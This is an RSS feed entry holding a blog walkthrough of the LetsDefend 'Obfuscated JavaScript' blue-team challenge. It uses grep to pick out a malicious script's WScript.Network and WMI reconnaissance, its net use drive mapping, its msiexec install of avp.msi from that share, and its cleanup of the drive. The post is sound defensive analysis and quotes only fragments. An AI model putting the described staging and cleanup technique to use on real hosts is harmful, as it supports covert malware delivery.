<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>LetsDefend on Drew Arpino (Stumblesec)</title>
        <link>https://stumblesec.com/categories/letsdefend/</link>
        <description>Recent content in LetsDefend on Drew Arpino (Stumblesec)</description>
        <generator>Hugo -- gohugo.io</generator>
        <language>en-us</language>
        <lastBuildDate>Sun, 12 Apr 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://stumblesec.com/categories/letsdefend/index.xml" rel="self" type="application/rss+xml" /><item>
            <title>LetsDefend  — Obfuscated JavaScript Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-obfuscated-javascript-challenge-walkthrough/</link>
            <pubDate>Sun, 12 Apr 2026 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-obfuscated-javascript-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-javascript-challenge-walkthrough/a23fc2f7b435ad3801896d084afd433e_MD5.png&#34; alt=&#34;Featured image of post LetsDefend  — Obfuscated JavaScript Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend-obfuscated-javascript-challenge-walkthrough&#34;&gt;LetsDefend: Obfuscated JavaScript Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;malicious-javascript-analysis-identifying-obfuscation-wmi-usage-and-network-based-payloadstaging&#34;&gt;Malicious JavaScript Analysis: Identifying Obfuscation, WMI Usage, and Network-Based Payload Staging&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;459px&#34; data-flex-grow=&#34;191&#34; height=&#34;296&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-javascript-challenge-walkthrough/a23fc2f7b435ad3801896d084afd433e_MD5.png&#34; width=&#34;567&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/obfuscated-javascript&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/obfuscated-javascript&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough! If you&amp;rsquo;ve stumbled across this blog looking for a detailed guide to the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/obfuscated-javascript&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Obfuscated JavaScript&lt;/strong&gt;&lt;/a&gt; blue team challenge from &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;re in the right place. This one drops us right into the world of script-based malware where attackers lean on obfuscation to complicate analysis.&lt;/p&gt;&#xA;&lt;p&gt;In this challenge, we&amp;rsquo;re stepping into the role of a cybersecurity analyst responding to reports of strange behavior across internal web applications. What initially looks like routine troubleshooting quickly turns into something more concerning when we discover that several critical JavaScript files have been aggressively obfuscated.&lt;/p&gt;&#xA;&lt;p&gt;Our mission is fairly straightforward but tricky in practice. We need to analyze the obfuscated script, identify the techniques used to hide its behavior, and determine whether it contains malicious code. With no automated tooling and no internet access, we&amp;rsquo;re forced to rely on careful inspection, pattern matching, and a methodical approach using nothing more than the terminal and a text editor. It&amp;rsquo;s not the sexiest approach, but it works.&lt;/p&gt;&#xA;&lt;p&gt;Along the way, we&amp;rsquo;ll uncover how the script leverages &lt;strong&gt;ActiveX&lt;/strong&gt;, &lt;strong&gt;WMI&lt;/strong&gt;, and network drive mapping to enumerate the host environment, stage an external payload, and clean up after itself. I&amp;rsquo;ll walk through each step, explaining not just what we find, but why it matters from a defensive perspective. The goal isn&amp;rsquo;t just to solve the challenge, but to help contextualize what we find. Let&amp;rsquo;s go!&lt;/p&gt;&#xA;&lt;p&gt;And hey, if this walkthrough helps you level up your JavaScript analysis skills, gets you past a stumbling block, or simply gives you another angle on script-based malware, consider following along for more weekly deep dives.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Imagine you are a cybersecurity analyst at a mid-sized tech company. One morning, you receive multiple reports from employees that their web applications are behaving erratically. Upon investigation, you discover that the source code of several critical JavaScript files has been heavily obfuscated, making it difficult to understand and troubleshoot the code. This obfuscation includes the insertion of numerous misleading comments, variable renaming, and string encoding. Your task is to analyze the obfuscated JavaScript code, identify the obfuscation techniques used, and determine if any malicious code has been inserted.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-what-is-the-name-of-the-activexobject-created-in-thescript&#34;&gt;Question 1: What is the name of the ActiveXObject created in the script?&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s kick off our investigation by extracting the sample from &lt;code&gt;sample.7z&lt;/code&gt;. This leaves us with an appropriately named text file, &lt;code&gt;sample&lt;/code&gt;, which contains the obfuscated JavaScript we&amp;rsquo;re going to analyze.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;360px&#34; data-flex-grow=&#34;150&#34; height=&#34;533&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-javascript-challenge-walkthrough/8e6e5ae8c00938427ce49e4974c221ff_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Overview of the challenge artifacts.&lt;/p&gt;&#xA;&lt;p&gt;Just to get an idea of what we&amp;rsquo;re working with, go ahead and open the file in the text editor provided by the &lt;strong&gt;LetsDefend&lt;/strong&gt; environment.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;418px&#34; data-flex-grow=&#34;174&#34; height=&#34;459&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-javascript-challenge-walkthrough/d0d2897f94d286824024c6ba4125781b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Overview of the sample in a text editor&lt;/p&gt;&#xA;&lt;p&gt;Yikes, it&amp;rsquo;s a mess! Under normal circumstances, we might start this workflow by throwing the script into &lt;strong&gt;CyberChef&lt;/strong&gt; or another deobfuscation tool. This time, though, we&amp;rsquo;re deliberately limiting ourselves to what&amp;rsquo;s provided in the analysis environment. So, no automated tooling and no internet access. But, what we do have is the terminal and familiar Linux utilities like &lt;code&gt;grep&lt;/code&gt;, which can still take us surprisingly far (&lt;em&gt;like the whole way&lt;/em&gt;).&lt;/p&gt;&#xA;&lt;p&gt;So, instead of trying to deobfuscate everything at once, we can find our footing by looking for recognizable patterns. For &lt;strong&gt;Question 1&lt;/strong&gt;, we&amp;rsquo;re specifically asked to identify the &lt;em&gt;ActiveXObject&lt;/em&gt; created in the script. That gives us a clear string to hunt for.&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll start by printing the contents of the sample to the terminal, piping the output into &lt;code&gt;grep&lt;/code&gt;, and using the &lt;code&gt;-i&lt;/code&gt; flag to ignore case and simply searching for &amp;quot; # &amp;ldquo;activex_.&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;cat sample | grep -i &amp;ldquo;activex&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;Running this command highlights a handful of non-obfuscated lines buried in the noise. Among them, we find the following code:&lt;/p&gt;&#xA;&lt;p&gt;new ActiveXObject(&amp;ldquo;WScript.Network&amp;rdquo;)&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;692px&#34; data-flex-grow=&#34;288&#34; height=&#34;254&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-javascript-challenge-walkthrough/502a0cd6ad01efc4d931eba39ad6429b_MD5.png&#34; width=&#34;733&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Terminal: Using grep to identify &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;activeX&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;This tells us that the script leverages the &lt;em&gt;ActiveXObject&lt;/em&gt; named &amp;ldquo;WScript.Network&amp;rdquo;. From the limited context we have so far, this suggests the script might be performing basic network enumeration, such as retrieving the computer name, domain membership, or mapped network drives.&lt;/p&gt;&#xA;&lt;p&gt;Now that we&amp;rsquo;ve found some early reconnaissance behavior, let&amp;rsquo;s dig in further to see what else we can find.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1794px&#34; data-flex-grow=&#34;747&#34; height=&#34;107&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-javascript-challenge-walkthrough/b602c5dab96300923367da2f4c1a564d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-what-wmi-namespace-is-accessed-in-thescript&#34;&gt;Question 2: What WMI namespace is accessed in the script?&#xA;&lt;/h3&gt;&lt;p&gt;Next, we need to identify which Windows Management Instrumentation, or &lt;strong&gt;WMI&lt;/strong&gt;, namespace the script accesses. WMI namespaces are essentially logical containers that group related management classes (like components) together. Understanding which namespace is in use helps us infer what kinds of system information the script is aiming to collect.&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll tackle this the same way we did in &lt;strong&gt;Question 1&lt;/strong&gt; by narrowing our focus with &lt;code&gt;grep&lt;/code&gt;. This time, instead of searching for &lt;em&gt;ActiveX&lt;/em&gt;, we&amp;rsquo;ll key in on &lt;em&gt;WMI&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;cat sample | grep -i &amp;ldquo;WMI&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;864px&#34; data-flex-grow=&#34;360&#34; height=&#34;222&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-javascript-challenge-walkthrough/f3fac997d411d2d777bfe96970de6d4b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Terminal: Identifying the WMI namespace with grep&lt;/p&gt;&#xA;&lt;p&gt;This output gives us a bit more to work with. Right on the first matching line, we can see evidence that the script is interacting with the &lt;code&gt;root\\CIMV2&lt;/code&gt; namespace.&lt;/p&gt;&#xA;&lt;p&gt;According to &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_wmi?view=powershell-7.6&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Microsoft&lt;/a&gt;, &amp;ldquo;root\CIMV2&amp;quot;is the default and one of the most commonly used WMI namespaces. It exposes a broad set of system and hardware-related classes, allowing scripts to query information about things like disks, running processes, memory, operating system details, and more.&lt;/p&gt;&#xA;&lt;p&gt;While this isn&amp;rsquo;t inherently malicious, it seems like we&amp;rsquo;ve stumbled across more potential reconnaissance activity.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1655px&#34; data-flex-grow=&#34;689&#34; height=&#34;116&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-javascript-challenge-walkthrough/0614910d0181f1db57f9c8ac7d8008b9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-is-the-initial-value-of-the-attempt-variable-in-thescript&#34;&gt;Question 3: What is the initial value of the attempt variable in the script?&#xA;&lt;/h3&gt;&lt;p&gt;Moving right along to &lt;strong&gt;Question 3&lt;/strong&gt;, we need to identify the initial value of the &lt;code&gt;attempt&lt;/code&gt; variable in the script. At this point, we&amp;rsquo;re already comfortable leveraging some lightweight pattern matching, so we&amp;rsquo;ll continue leaning on the terminal and &lt;em&gt;grep&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;This time, we&amp;rsquo;ll broaden the search scope slightly by looking for all variable declarations. In this sample, the obfuscation conveniently leaves &lt;code&gt;/var&lt;/code&gt; as a recurring pattern, which makes it a useful anchor for limiting our output:&lt;/p&gt;&#xA;&lt;p&gt;cat sample | grep -i &amp;ldquo;/var&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1315px&#34; data-flex-grow=&#34;547&#34; height=&#34;146&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-javascript-challenge-walkthrough/0059aedf9ec3a3e035cc7332fa7a77a5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Terminal: Identifying the attempt variable&lt;/p&gt;&#xA;&lt;p&gt;Voila! This approach yields a small set of variables without overwhelming us with too much noise. Scanning through the output, we&amp;rsquo;ll spot the definition of the &lt;code&gt;attempt&lt;/code&gt; variable with a value of &lt;code&gt;0&lt;/code&gt;, suggesting it might be used as some kind of counter or control variable later in the script.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1714px&#34; data-flex-grow=&#34;714&#34; height=&#34;112&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-javascript-challenge-walkthrough/835f1433de1e821f9aff8d5baa3436fd_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-what-function-is-used-to-enumerate-network-drives-in-thescript&#34;&gt;Question 4: What function is used to enumerate network drives in the script?&#xA;&lt;/h3&gt;&lt;p&gt;We&amp;rsquo;ve got a rhythm down now. Remember back in &lt;strong&gt;Question 1&lt;/strong&gt;, where we stumbled across early evidence of network reconnaissance activity tied to &lt;em&gt;WScript.Network&lt;/em&gt;? For &lt;strong&gt;Question 4&lt;/strong&gt;, we&amp;rsquo;ll pivot back to that thread and broaden our search.&lt;/p&gt;&#xA;&lt;p&gt;This time, we&amp;rsquo;ll hunt for references to &lt;em&gt;network&lt;/em&gt; more generally and see what turns up:&lt;/p&gt;&#xA;&lt;p&gt;cat sample | grep -i &amp;ldquo;network&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;752px&#34; data-flex-grow=&#34;313&#34; height=&#34;255&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-javascript-challenge-walkthrough/f0f4c14e771ea63bbbc60bb9c709ddf4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Terminal: Identifying the network drive enumeration&lt;/p&gt;&#xA;&lt;p&gt;The output here is a bit noisier than before, but if you scan through the results, the third returned line stands out. That&amp;rsquo;s where we see a call to the &lt;code&gt;network.MapNetworkDrive&lt;/code&gt; function.&lt;/p&gt;&#xA;&lt;p&gt;This lines up nice and tidy with the &lt;em&gt;WScript.Network&lt;/em&gt; object we identified earlier. Put together, it gives us solid evidence that the script is interacting with mapped network drives. Whether it&amp;rsquo;s enumerating existing mappings, creating new ones, or abusing them for lateral movement is something we&amp;rsquo;ll need to confirm by looking at how this function is used elsewhere in the code.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1864px&#34; data-flex-grow=&#34;776&#34; height=&#34;103&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-javascript-challenge-walkthrough/5564d268d47164d9b60fb9a6ca061401_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-how-long-does-the-script-wait-in-milliseconds-after-executing-the-net-usecommand&#34;&gt;Question 5: How long does the script wait (in milliseconds) after executing the net use command?&#xA;&lt;/h3&gt;&lt;p&gt;Next up, we need to determine the waiting period defined in the script after executing the &lt;code&gt;net use&lt;/code&gt; command. At first glance, it seems reasonable to search directly for the command itself. I tried grepping for &amp;ldquo;net use&amp;quot;first, but as you can see, that didn&amp;rsquo;t quite get us where we needed to go.&lt;/p&gt;&#xA;&lt;p&gt;Instead, we need to zoom out slightly and look for broader timing-related evidence. In this case, the string &amp;ldquo;starttime&amp;quot;turns out to be a much better anchor:&lt;/p&gt;&#xA;&lt;p&gt;cat sample | grep -i &amp;ldquo;starttime&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1324px&#34; data-flex-grow=&#34;551&#34; height=&#34;145&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-javascript-challenge-walkthrough/877657a37c4fe2e4dcd0a948424a5a10_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Terminal: Identifying the wait time&lt;/p&gt;&#xA;&lt;p&gt;This output reveals the delay logic implemented by the script. Based on the value assigned and how it&amp;rsquo;s used, we can see that the script waits &lt;code&gt;3000&lt;/code&gt; milliseconds after executing the &lt;code&gt;net use&lt;/code&gt; command to map a non-persistent network drive.&lt;/p&gt;&#xA;&lt;p&gt;That&amp;rsquo;s a short pause before the script continues, giving the mapped network drive time to become available before potentially being leveraged for staging additional payloads or collecting data for exfiltration. Let&amp;rsquo;s keep going and build out more context.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1729px&#34; data-flex-grow=&#34;720&#34; height=&#34;111&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-javascript-challenge-walkthrough/88a9e28475c2b4258cb8d229d64195de_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-what-is-the-msi-package-used-for-installation-in-the-scriptcalled&#34;&gt;Question 6: What is the MSI package used for installation in the script called?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 6&lt;/strong&gt;, we need to identify the MSI package referenced in the script for the next stage of execution. Since the question explicitly mentions &lt;em&gt;installation&lt;/em&gt;, it makes more sense to search for the Windows Installer utility itself rather than hunting blindly for &lt;code&gt;.msi&lt;/code&gt; strings.&lt;/p&gt;&#xA;&lt;p&gt;Instead, we&amp;rsquo;ll look for &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;msiexec&lt;/em&gt;&lt;/a&gt;, the command-line tool commonly used to install MSI packages on Windows systems:&lt;/p&gt;&#xA;&lt;p&gt;cat sample | grep -i &amp;ldquo;msiexec.exe&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1306px&#34; data-flex-grow=&#34;544&#34; height=&#34;147&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-javascript-challenge-walkthrough/86e881d6334f1a6caeac61e16b8876d6_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Terminal: Identifying the package through msiexec&lt;/p&gt;&#xA;&lt;p&gt;Bingo. This immediately surfaces the relevant line in the script. From the command arguments, we can see that the installer being executed is &lt;code&gt;avp.msi&lt;/code&gt;, and it&amp;rsquo;s being launched directly from the mapped network share we identified earlier.&lt;/p&gt;&#xA;&lt;p&gt;This ties back nicely to our observations in &lt;strong&gt;Question 5&lt;/strong&gt;. We speculated that the mapped drive could be used for malware staging, and seeing &lt;code&gt;avp.msi&lt;/code&gt; hosted on that share gives us increased confidence though we don&amp;rsquo;t have any firm evidence that it&amp;rsquo;s malicious.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1669px&#34; data-flex-grow=&#34;695&#34; height=&#34;115&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-javascript-challenge-walkthrough/f8fb3ac314b95e19ee844cc1f314485e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-what-is-the-final-output-message-if-the-network-drive-removal-fails-in-thescript&#34;&gt;Question 7: What is the final output message if the network drive removal fails in the script?&#xA;&lt;/h3&gt;&lt;p&gt;Coming into the home stretch, the question tells us that the script attempts to remove the mapped network drive and displays a message if that operation fails.&lt;/p&gt;&#xA;&lt;p&gt;To track this down, we can keep things simple and adjust our &lt;code&gt;grep&lt;/code&gt; filter to look for failure-related strings:&lt;/p&gt;&#xA;&lt;p&gt;cat sample | grep -i &amp;ldquo;fail&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;752px&#34; data-flex-grow=&#34;313&#34; height=&#34;255&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-javascript-challenge-walkthrough/5f1310db8076c4d8936768a71bded6f6_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Terminal: Identifying the failure message&lt;/p&gt;&#xA;&lt;p&gt;This quickly surfaces a message associated with the network drive cleanup logic.&lt;/p&gt;&#xA;&lt;p&gt;From this, we can infer that after the MSI payload is executed, the script attempts to disconnect the staging area. If that removal fails, a failure message is displayed. This kind of cleanup behavior is likely an effort to remove artifacts and reduce the forensic footprint.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1699px&#34; data-flex-grow=&#34;707&#34; height=&#34;113&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-javascript-challenge-walkthrough/572c595578a57677226b82e948cd837b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-what-function-is-used-to-check-if-a-drive-is-mapped-in-thescript&#34;&gt;Question 8: What function is used to check if a drive is mapped in the script?&#xA;&lt;/h3&gt;&lt;p&gt;For the last question, we&amp;rsquo;ll follow a similar approach to the previous one. The prompt tells us there&amp;rsquo;s a function in the script responsible for checking whether a network drive is mapped, so we already have a nice hint about what to look for.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s gather a bit more information by grepping for keywords related to drive mappings:&lt;/p&gt;&#xA;&lt;p&gt;cat sample | grep -i &amp;ldquo;mapped&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;741px&#34; data-flex-grow=&#34;308&#34; height=&#34;259&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-javascript-challenge-walkthrough/766c781af6c3c7032823b0e0f132451e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Terminal: Identifying the isDriveMapped function&lt;/p&gt;&#xA;&lt;p&gt;From this, we can see that the function &lt;code&gt;isDriveMapped&lt;/code&gt; is used to determine whether a specific drive letter is already mapped, making it easy for the rest of the script to reference and reuse that information during execution.&lt;/p&gt;&#xA;&lt;p&gt;And that&amp;rsquo;s all she wrote. This wraps up the analysis and confirms that the script includes logic not just to map and remove network drives, but also to track their state along the way. Great job!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1714px&#34; data-flex-grow=&#34;714&#34; height=&#34;112&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-javascript-challenge-walkthrough/50ed8a37a95329b2db3e3227f3f0b4a3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;540px&#34; data-flex-grow=&#34;225&#34; height=&#34;355&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-javascript-challenge-walkthrough/6a76ab3d06ebcd7e4ea9c747abb8a279_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;How fun was that? A big thank you to &lt;strong&gt;LetsDefend&lt;/strong&gt; for another solid challenge.&lt;/p&gt;&#xA;&lt;p&gt;This challenge was a great reminder that you don&amp;rsquo;t need advanced reverse engineering skills to extract meaningful insight from a suspicious script. By leaning on static analysis, pattern matching, and some inference from the questions, we were able to uncover suspicious functionality in the script, including host reconnaissance, network drive staging, payload delivery, and cleanup behavior, using nothing more than a terminal and a text editor.&lt;/p&gt;&#xA;&lt;p&gt;For me, this challenge was just as much about exposure to different kinds of malware as it was about answering the questions. Obfuscated JavaScript isn&amp;rsquo;t at the top of my skillset, but working through this scenario highlighted the value of breaking things down, following the artifacts, and letting the script tell the story.&lt;/p&gt;&#xA;&lt;p&gt;It also feels less hypothetical than it might have a few years ago. Script-based malware is still very much alive, and it&amp;rsquo;s the sort of activity defenders continue to encounter in real web environments. Getting comfortable with these patterns, even in a lab setting, pays dividends when similar behaviors show up during incident response or threat hunting.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your support and for partnering with me on this investigation. If this walkthrough helped you over a stumbling block, sharpened your analysis skills, or gave you a new way to approach obfuscated scripts, please give it a clap and consider following me. Your feedback keeps me motivated, and it genuinely helps me support your security journey.&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge, stay curious and be safe out there.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-javascript-challenge-walkthrough/897587ce48e9f9feb186cdd21a12ccdd_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/obfuscated-javascript&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    